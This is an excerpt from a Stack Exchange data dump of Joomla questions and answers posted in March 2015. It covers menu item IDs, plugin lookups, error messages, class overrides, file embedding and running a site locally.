  <row Id="9056" PostTypeId="1" AcceptedAnswerId="9966" CreationDate="2015-03-13T21:41:36.240" Score="2" ViewCount="184" Body="&lt;p&gt;I am developing a Joomla 3.4 component where I set the component parameters in config.xml. The configuration are shown using 'JToolBarHelper::preferences'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to show the configuration in 2 columns.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-05-16T18:30:42.443" Title="Two column display config.xml" Tags="|joomla-3.x|configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9057" PostTypeId="1" CreationDate="2015-03-13T23:31:37.003" Score="2" ViewCount="957" Body="&lt;p&gt;When on the 'Edit Menu Item', 'Details' page, I do not see the menu item ID. When I reference Joomla documentation it shows that it should be on the right side of the 'Details' page under 'Note'. There is no field below 'Note', and I am not seeing it located anywhere else. Joomla 3.4.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I find the Menu Item ID?  Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3820" LastActivityDate="2015-03-14T11:17:04.743" Title="Where is the menu item ID?" Tags="|menu|id|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9058" PostTypeId="2" ParentId="9057" CreationDate="2015-03-14T00:16:16.110" Score="2" Body="&lt;p&gt;I don't know what the documentations says, but the truth is that I haven't see the menu item id in the details page for a while, although it used to exist there ( I remember it in Joomla 2.5, below the template style field).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you can always find the item id of the menu item you are editing, from the url, at the browser's address bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The url will always contain the item id and it will be of the form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_menus&amp;amp;view=item&amp;amp;layout=edit&amp;amp;id=12&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the ending of the url id=12.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, in the menu items list manager, you can find the item id of each menu item, at the right column with the ID label.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-03-14T00:16:16.110" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9059" PostTypeId="1" AcceptedAnswerId="9060" CreationDate="2015-03-14T03:21:55.453" Score="3" ViewCount="1135" Body="&lt;p&gt;I'm a noob, just on day 3 of learning how to use Joomla.  I am working with the &lt;em&gt;shaper Helix II&lt;/em&gt; template; I have my logo and menu up and working, but can't figure out how to get an article with an image into the &lt;em&gt;main body&lt;/em&gt; of the template.  This is the image of the template (don't know any other way of describing it):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rNCw7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this is the image of the web page so far:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WyBCy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't figure out how to get the article into the Main Body...  I've watched tutorials, read books and still can't figure it out.  What I really need is a &lt;em&gt;good&lt;/em&gt; document (like a cookbook) that shows step by step how to accomplish stuff like this.  Can someone please help me?  I  would really appreciate it.  SD&lt;/p&gt;&#xA;" OwnerUserId="3879" LastEditorUserId="3879" LastEditDate="2015-03-14T03:39:30.893" LastActivityDate="2015-03-17T22:45:01.003" Title="How to add an article to a template" Tags="|joomla-3.3.x|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9060" PostTypeId="2" ParentId="9059" CreationDate="2015-03-14T07:26:56.663" Score="5" Body="&lt;p&gt;you can create an article as &lt;/p&gt;&#xA;&#xA;&lt;p&gt;content -&gt; Article Manager -&gt; Add new Article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will have to use any menu item for it to be displayed.&lt;/p&gt;&#xA;" OwnerUserId="3536" LastActivityDate="2015-03-14T07:26:56.663" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9062" PostTypeId="1" CreationDate="2015-03-14T08:18:18.497" Score="2" ViewCount="12122" Body="&lt;p&gt;I searched google and read many articles but no luck, is there a way to get the link of a category for joomla 3.3.6 item/article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More details: I'm building a custom theme on Joomla 3.3.6 I have managed to display articles in the main page as thumbnails and inside these thumbnails image, description ,read more link and category, the read more link goes directly to the article. One last thing left for me when user clicks category name it will forward to category page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In code i can get article id, article title, article category, and article link. I don't know how to make a link of these, like:&#xA;&lt;code&gt;http://www.host/category_name/article_id-article_name&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone knows how to make it,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanx,&lt;/p&gt;&#xA;" OwnerUserId="3676" LastEditorUserId="126" LastEditDate="2015-06-11T19:09:01.633" LastActivityDate="2015-07-17T16:18:21.350" Title="How to get the link of a category for item" Tags="|joomla-3.x|article-manager|category|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9064" PostTypeId="1" CreationDate="2015-03-14T09:38:59.900" Score="3" ViewCount="530" Body="&lt;p&gt;I need to retrieve a system plugin id, and I am using the following code with success. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getId($folder, $name)&#xA;    {&#xA;        // Get a database object&#xA;        $db = JFactory::getDbo();&#xA;&#xA;        // Create a new query object&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;        // Select field to get&#xA;        $fields = array(&#xA;            $db-&amp;gt;quoteName('extension_id')&#xA;        );&#xA;&#xA;        // Conditions for which record should be get&#xA;        $conditions = array(&#xA;            $db-&amp;gt;quoteName('element') . ' = ' . $db-&amp;gt;quote($name), &#xA;            $db-&amp;gt;quoteName('folder') . ' = ' . $db-&amp;gt;quote($folder)&#xA;        );&#xA;&#xA;        // Set the query and load the result&#xA;        $query-&amp;gt;select($fields)-&amp;gt;from($db-&amp;gt;quoteName('#__extensions'))-&amp;gt;where($conditions);&#xA;        $db-&amp;gt;setQuery($query);   &#xA;        $id = $db-&amp;gt;loadResult();&#xA;&#xA;        return $id;&#xA;    }&#xA;&#xA;// Set query values&#xA;$folder = 'system';&#xA;$name   = 'pugin_name';&#xA;&#xA;// Get plugin id&#xA;$id = getId($folder, $name);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I would like to know is if there is a better or more correct and appropriate way of doing it.&lt;/p&gt;&#xA;" OwnerUserId="2087" LastEditorUserId="159" LastEditDate="2015-03-14T10:07:16.097" LastActivityDate="2019-02-14T12:38:00.723" Title="Retrieving plugin id" Tags="|joomla-3.x|fix-my-code|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9065" PostTypeId="1" CreationDate="2015-03-14T10:57:28.560" Score="1" ViewCount="988" Body="&lt;p&gt;The following is what I'm doing:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Created a Category&lt;/li&gt;&#xA;&lt;li&gt;Created an Article and stored in the Category&lt;/li&gt;&#xA;&lt;li&gt;Created a new Menu without linking to a module&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Created a new Menu Item within the new menu; single Article option, and then selected the Article created in step 2.&#xA;Got the link from this page which shows the URL and Article ID at the end. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Got the ID from the Menu Manager (added &amp;amp;Itemid=xxx to the end of the URL)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In step 4, I should have been able to retrieve the hidden Article with the word 'Article' visible at the top. When I first did it, I was able to retrieve that page. Now I am not able to retrieve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In step 5, I added &amp;amp;Itemid=xxx (using mmy item ID in place of xxx), to the end of the URL thinking it would now link directly to the Article and associate with the specific menu id number. That didn't work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions? I'm trying to create and selectively show hidden 'thank you', and various other hidden pages as part of a specific process. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3820" LastActivityDate="2015-04-13T12:32:45.453" Title="How do I create a hidden menu with hidden articles?" Tags="|articles|menu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9066" PostTypeId="2" ParentId="9065" CreationDate="2015-03-14T11:13:18.050" Score="1" Body="&lt;p&gt;I was making the error by not using an absolute link. The above steps do work. I was simply copying and pasting the URL.&lt;/p&gt;&#xA;" OwnerUserId="3820" LastActivityDate="2015-03-14T11:13:18.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9068" PostTypeId="1" CreationDate="2015-03-14T11:17:32.037" Score="3" ViewCount="2136" Body="&lt;p&gt;How can I display Microsoft Office files (word and excel),pdf and video files in a page? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know any plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use RSForm where I show the submitted details once users submitted them;part of it is to upload a video and their CV, when its uploaded and displayed, it does not show the video file and word file. (refer to &lt;a href=&quot;http://prntscr.com/6gleep&quot; rel=&quot;nofollow&quot;&gt;http://prntscr.com/6gleep&lt;/a&gt; for better understanding.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can go to &lt;a href=&quot;http://footballteen.com/list/submission-view/25.html&quot; rel=&quot;nofollow&quot;&gt;http://footballteen.com/list/submission-view/25.html&lt;/a&gt; and as you can see below the picture there are two thing that are not show which are the word file and video file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed allvideo plugin but no luck!&lt;br&gt;&#xA;I have installed ARI Docs Viewer plugin to display word and excel files but no luck as well!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I send this in RSfrom forum but no one replied!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using joomla 3.4.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would appropriate any help on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is code in RSform where its for layout, I donno if it helps or not but maybe by modifiying it I would be able to display video and office files ( word and excel).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;rsform-table&quot; id=&quot;rsform-table3&quot;&amp;gt;&#xA;    &amp;lt;p class=&quot;rsform-main-title rsform-title&quot;&amp;gt;{Name:value}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p class=&quot;rsform-big-subtitle rsform-title&quot;&amp;gt;{Family Name:value}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p class=&quot;rsform-small-subtitle rsform-title&quot;&amp;gt;{Date of Birth:value}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;ul class=&quot;rsform-gallery&quot;&amp;gt;&#xA;        {if {Photo:value}}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;javascript:void(0)&quot; class=&quot;modal&quot; rel=&quot;{handler: 'clone'}&quot;&amp;gt;&amp;lt;img src=&quot;{Photo:path}&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/if}&#xA;        {if {Resume:value}}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;javascript:void(0)&quot; class=&quot;modal&quot; rel=&quot;{handler: 'clone'}&quot;&amp;gt;&amp;lt;img src=&quot;{Resume:path}&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/if}&#xA;        {if {Highlight:value}}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;javascript:void(0)&quot; class=&quot;modal&quot; rel=&quot;{handler: 'clone'}&quot;&amp;gt;&amp;lt;img src=&quot;{Highlight:path}&quot; alt=&quot;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/if}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="1946" LastEditorUserId="126" LastEditDate="2016-01-21T23:17:05.067" LastActivityDate="2016-12-01T14:11:58.530" Title="How to display Microsoft Office files (word and excel),pdf and video?" Tags="|plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9070" PostTypeId="1" CreationDate="2015-03-14T12:29:45.640" Score="3" ViewCount="815" Body="&lt;p&gt;I'm using joomla 3.3.6 and I designed content page as I want, but I need one more thing.&lt;br&gt;&#xA;Is there a plugin or a component to display all/other articles as a list, so the user can move to them. The final content page should have the content to read, and below a list of other suggested articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched a lot about the subject, but I didn't have any luck to find what I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;==============&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought in another way: Is it possible to get articles from the database table using &lt;code&gt;JFactory::getDbo()&lt;/code&gt; and display them in article view, and how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please advice...&lt;/p&gt;&#xA;" OwnerUserId="3676" LastEditorUserId="126" LastEditDate="2015-06-11T19:06:21.203" LastActivityDate="2015-06-11T19:06:21.203" Title="Displaying more articles in the article view" Tags="|joomla-3.x|component|articles|com-content|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9071" PostTypeId="2" ParentId="9070" CreationDate="2015-03-14T13:49:55.880" Score="0" Body="&lt;p&gt;That would be a module. There are already related and recent articles modules in the Joomla! and extension directory has plenty more. You will probably be able to find something to fit your particular need. (I don't really understand what kinds of articles specifically you want to show and how, and the correct module depends on that, so I can't be more specific.)&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-03-14T13:49:55.880" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9072" PostTypeId="2" ParentId="9068" CreationDate="2015-03-14T15:59:42.537" Score="6" Body="&lt;p&gt;Your approach simply won't work. The &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag is meant for images only (usually .jpg, .png, .gif and some others depending on browser support - &lt;a href=&quot;http://en.wikipedia.org/wiki/Comparison_of_web_browsers#Image_format_support&quot; rel=&quot;noreferrer&quot;&gt;see the complete list&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Displaying the video shouldn't be that hard, depending on the formats allowed. If you're using AllVideos, the plugin uses the following syntax:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{formatORprovider}filenameORvideoID{/formatORprovider}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In your case it would be something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{if {Highlight:value}}&amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;javascript:void(0)&amp;quot; class=&amp;quot;modal&amp;quot; rel=&amp;quot;{handler: 'clone'}&amp;quot;&amp;gt;{mp4}{Highlight:path}{/mp4}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(not sure if the &lt;code&gt;{mp4}&lt;/code&gt; will interfere with your code).&lt;/p&gt;&#xA;&lt;p&gt;A better option would be to only allow YouTube videos to be inserted (also saves bandwidth). Then use this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{if {Highlight:value}}&amp;lt;li&amp;gt;{youtube}{Highlight:path}{/youtube}&amp;lt;/li&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Displaying word/excel/pdf files is a lot more complicated. A couple of alternatives:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Embed the document inside an iFrame (will work on some  browsers, but requires your user to have Office installed)&lt;/li&gt;&#xA;&lt;li&gt;Convert to PDF and embed inside an iframe (works on most browsers)&lt;/li&gt;&#xA;&lt;li&gt;Upload the document to Google Docs, and get an embed code (&lt;a href=&quot;https://support.google.com/docs/answer/143345?hl=en&amp;amp;rd=1&quot; rel=&quot;noreferrer&quot;&gt;https://support.google.com/docs/answer/143345?hl=en&amp;amp;rd=1&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Display a file icon, and add a download link.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-03-14T15:59:42.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9073" PostTypeId="2" ParentId="9059" CreationDate="2015-03-14T16:14:26.593" Score="3" Body="&lt;p&gt;I &lt;em&gt;think&lt;/em&gt; I kind of get what you mean. &lt;strong&gt;If&lt;/strong&gt; so, then you are kind of misunderstanding how Joomla! and templates work, which is why tutorials are hard to get.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Joomla! content such as articles and appearance are managed separately. So you don't really add content directly to templates, you add positions, which you then add the content from elsewhere. There are two types of positions, &lt;strong&gt;one&lt;/strong&gt; component position which shows whatever component is defined for a specific menu item and a variable number of module positions that show whatever modules have been assigned to those positions. Both types can show articles or even entire categories of articles. &lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-03-14T16:14:26.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9074" PostTypeId="1" AcceptedAnswerId="9075" CreationDate="2015-03-14T18:12:21.773" Score="3" ViewCount="645" Body="&lt;p&gt;The official CMS 3.4 API page of Joomla classifies the JError class and all its methods as deprecated, yet I couldn't find any alternative to output messages when i.e. there is an error after server side validation for a specific component etc...&#xA;Are we meant to use those deprecated methods or are there other more recommended ways of displaying these useful error/warning messages?&lt;/p&gt;&#xA;" OwnerUserId="1554" LastActivityDate="2015-03-14T18:30:23.560" Title="Messages : Warnings / Errors" Tags="|component|jerror|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9075" PostTypeId="2" ParentId="9074" CreationDate="2015-03-14T18:24:06.523" Score="7" Body="&lt;p&gt;You can use &lt;a href=&quot;https://docs.joomla.org/Display_error_messages_and_notices&quot;&gt;enqueueMessage&lt;/a&gt; to display errors, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;&#xA;if ($user-&amp;gt;guest)&#xA;{&#xA;    $msg = 'You must be logged in';&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage($msg, 'error');    // red &#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage($msg, 'warning');  // yellow&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage($msg, 'notice');   // blue&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage($msg, 'message');  // green&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you wish to store errors in logs files, you can use &lt;a href=&quot;https://docs.joomla.org/Using_JLog&quot;&gt;JLog&lt;/a&gt;, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('joomla.log.log');&#xA;&#xA;JLog::add(JText::_('JTEXT_ERROR_MESSAGE'), JLog::WARNING, 'jerror');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also use PHP exceptions to catch errors, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Perform a database query or something here&#xA;try&#xA;{&#xA;    // Try to get an object based on the results from the database&#xA;    $results = $db-&amp;gt;loadObjectList();&#xA;}&#xA;catch (Exception $e)&#xA;{&#xA;    // Start crying cause it didn't work&#xA;    echo $e-&amp;gt;getMessage();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-03-14T18:30:23.560" LastActivityDate="2015-03-14T18:30:23.560" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9076" PostTypeId="1" AcceptedAnswerId="9077" CreationDate="2015-03-15T12:42:59.643" Score="1" ViewCount="298" Body="&lt;p&gt;I'm trying to override a class &lt;em&gt;JMenuSite&lt;/em&gt; in &lt;code&gt;libraries/cms/menu/site.php&lt;/code&gt;. I created a plugin system &lt;code&gt;jmenusite.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined( '_JEXEC' ) or die( 'Restricted access' );&#xA;&#xA;class plgSystemJmenusite extends JPlugin{&#xA;&#xA;    public function  onAfterRoute () {&#xA;        require_once(JPATH_SITE.'/plugins/system/jmenusite/site.php');&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I copied the files &lt;code&gt;site.php&lt;/code&gt; in the folder of the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla performs the original class and then gives me error: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Fatal error: Cannot redeclare class JMenuSite&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I override the existing class?&lt;/p&gt;&#xA;" OwnerUserId="3884" LastEditorUserId="1629" LastEditDate="2015-03-15T14:45:37.387" LastActivityDate="2015-03-15T14:45:37.387" Title="Joomla 3 plugin to override class JMenuSite" Tags="|joomla-3.x|development|overrides|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9077" PostTypeId="2" ParentId="9076" CreationDate="2015-03-15T14:11:37.067" Score="1" Body="&lt;p&gt;onAfterRoute event is not the one which will work for your scenario. As JMenuSite class gets loaded before this event is triggered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to use &lt;strong&gt;onAfterInitialise&lt;/strong&gt; event to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Important note :&lt;/strong&gt; With Joomla 3.4 there are some changes in the core code due to which it will not be possible to override this class in case &lt;strong&gt;language filter plugin&lt;/strong&gt; is enabled. As Joomla intentionally loads this plugin to apply some language specific handling and this plugin will load JMenuSite class before any event is triggered. &lt;/p&gt;&#xA;" OwnerUserId="396" LastActivityDate="2015-03-15T14:11:37.067" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9078" PostTypeId="1" CreationDate="2015-03-15T14:22:57.400" Score="6" ViewCount="1126" Body="&lt;p&gt;I'm trying to disable users that register from the front-end from receiving confirmation / welcome emails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please note:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In com_users options you can only disable the password and username from being sent but the email itself still generating.&lt;/li&gt;&#xA;&lt;li&gt;When going to plugins manager -&gt; user -&gt;  Notification Mail to User -&gt; No | it will only disable mailing to users who have been registered manually by the website admin.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have seen a thread where they suggest a hack to components -&gt; com_users -&gt; contoller.php &#xA;referance:&#xA;&lt;a href=&quot;http://forum.joomla.org/viewtopic.php?t=280282&quot;&gt;http://forum.joomla.org/viewtopic.php?t=280282&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that they are suggesting this for an older version of Joomla! and the controller.php does not have those lines anymore (Not that i can see)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the only way to achieve this is by hacking the core, so be it, although, i would prefer a 'clean' solution.&lt;/p&gt;&#xA;" OwnerUserId="3885" LastActivityDate="2015-09-03T08:33:57.570" Title="Disable front-end registrators from recving a confirmation email" Tags="|joomla-3.x|joomla-3.3.x|joomla-api|joomla-framework-1.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9079" PostTypeId="1" AcceptedAnswerId="9080" CreationDate="2015-03-15T14:37:20.083" Score="5" ViewCount="752" Body="&lt;p&gt;I installed some Joomla plugins but they are not working at all. I checked the plugin states and found that they were enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I even added some code to the plugins to check whether they were getting called or not and found that the plugins were not getting called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone provide me with some help here...&lt;/p&gt;&#xA;" OwnerUserId="3886" LastEditorUserId="115" LastEditDate="2015-05-03T13:12:08.780" LastActivityDate="2015-05-03T13:12:08.780" Title="Joomla plugins are not working even when they are enabled" Tags="|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9080" PostTypeId="2" ParentId="9079" CreationDate="2015-03-15T14:40:39.453" Score="3" Body="&lt;p&gt;This usually occurs when plugins are not loaded in the system.&#xA;You can disable joomla caching and clean the cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla caching setting is available in Global configuration.&lt;/p&gt;&#xA;" OwnerUserId="396" LastActivityDate="2015-03-15T14:40:39.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9081" PostTypeId="1" AcceptedAnswerId="9093" CreationDate="2015-03-15T14:50:38.313" Score="1" ViewCount="132" Body="&lt;p&gt;We are trying to run our Joomla site locally but are having issues with paths to things like images etc. We copied our site/database down from SiteGround and set it up locally in folder xampp/htdocs/DemoOrg and the site functions fine but all the paths to images etc are failing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Siteground the path to an image is set as &quot;/images/ReportLog.jpg&quot; and it displays but locally it doesn't display. If we do F12 and add /DemoOrg/ to the beginning of the path the image appears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We need the site to function in the same way as on SiteGround so cannot add &quot;/DemoOrg/&quot; to the paths manually otherwise we would have to change code everytime we downloaded/uploaded the files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a setting that will solve this - someone has suggested in the hosts file but not sure how to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks Richard&lt;/p&gt;&#xA;" OwnerUserId="3887" LastActivityDate="2015-04-26T17:23:31.293" Title="Running Joomla Locally" Tags="|joomla-3.x|php|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9082" PostTypeId="2" ParentId="9081" CreationDate="2015-03-15T15:45:03.917" Score="-1" Body="&lt;p&gt;In the config file /configuration.php&#xA;search for &quot;live_site&quot; and set it to &quot;&quot;.&#xA;save and refresh in your browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set all SEF options to no in configuration panel.&lt;/p&gt;&#xA;" OwnerUserId="3888" LastEditorUserId="3888" LastEditDate="2015-03-16T08:04:13.657" LastActivityDate="2015-03-16T08:04:13.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9084" PostTypeId="1" CreationDate="2015-03-15T17:44:08.397" Score="0" ViewCount="259" Body="&lt;p&gt;On the Joomla 3.3.1 site I have running at &lt;a href=&quot;https://robosane.net&quot; rel=&quot;nofollow&quot; title=&quot;Robosane.net&quot;&gt;Robosane.net&lt;/a&gt;, the only dropdown menu that I have is experiencing a very odd problem, it's hard to explain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the menu is clicked, it does not pop up until the mouse leaves the hover area, then re-enters. The menu also does not close when it's parent is clicked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is using both JQuery and Bootstrap Javascript Frameworks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a custom template I made, here's how the frameworks are listed:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add Stylesheets&#xA;$doc-&amp;gt;addStyleSheet('templates/'.$this-&amp;gt;template.'/css/bootstrap.css');&#xA;$doc-&amp;gt;addStyleSheet('templates/'.$this-&amp;gt;template.'/css/landing-page.css');&#xA;&#xA;// Add current user information&#xA;$user = JFactory::getUser();&#xA;&#xA;// Add JavaScript Frameworks&#xA;JHtml::_('jquery.framework');&#xA;JHtml::_('bootstrap.framework');&#xA;//$doc-&amp;gt;addScript('templates/' .$this-&amp;gt;template. '/js/jquery.js');&#xA;$doc-&amp;gt;addScript('templates/' .$this-&amp;gt;template. '/js/template.js');&#xA;$doc-&amp;gt;addScript('templates/' .$this-&amp;gt;template. '/js/bootstrap.js');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see how I intended for this to look by visiting &lt;a href=&quot;http://robobenklein.github.io/robosan3&quot; rel=&quot;nofollow&quot;&gt;robobenklein.github.io/robosan3&lt;/a&gt;, which is only a static mockup of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: When Javascript is merged, the problem no longer occurs, however the mobile menu collapse no longer closes once opened, and JS animations no longer function.&lt;/p&gt;&#xA;" OwnerUserId="2083" LastEditorUserId="2083" LastEditDate="2015-03-16T04:09:48.437" LastActivityDate="2015-03-16T04:09:48.437" Title="Dropdown Menu Items &quot;Re-Close&quot; Without Hover" Tags="|jquery|menu-item|bootstrap|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
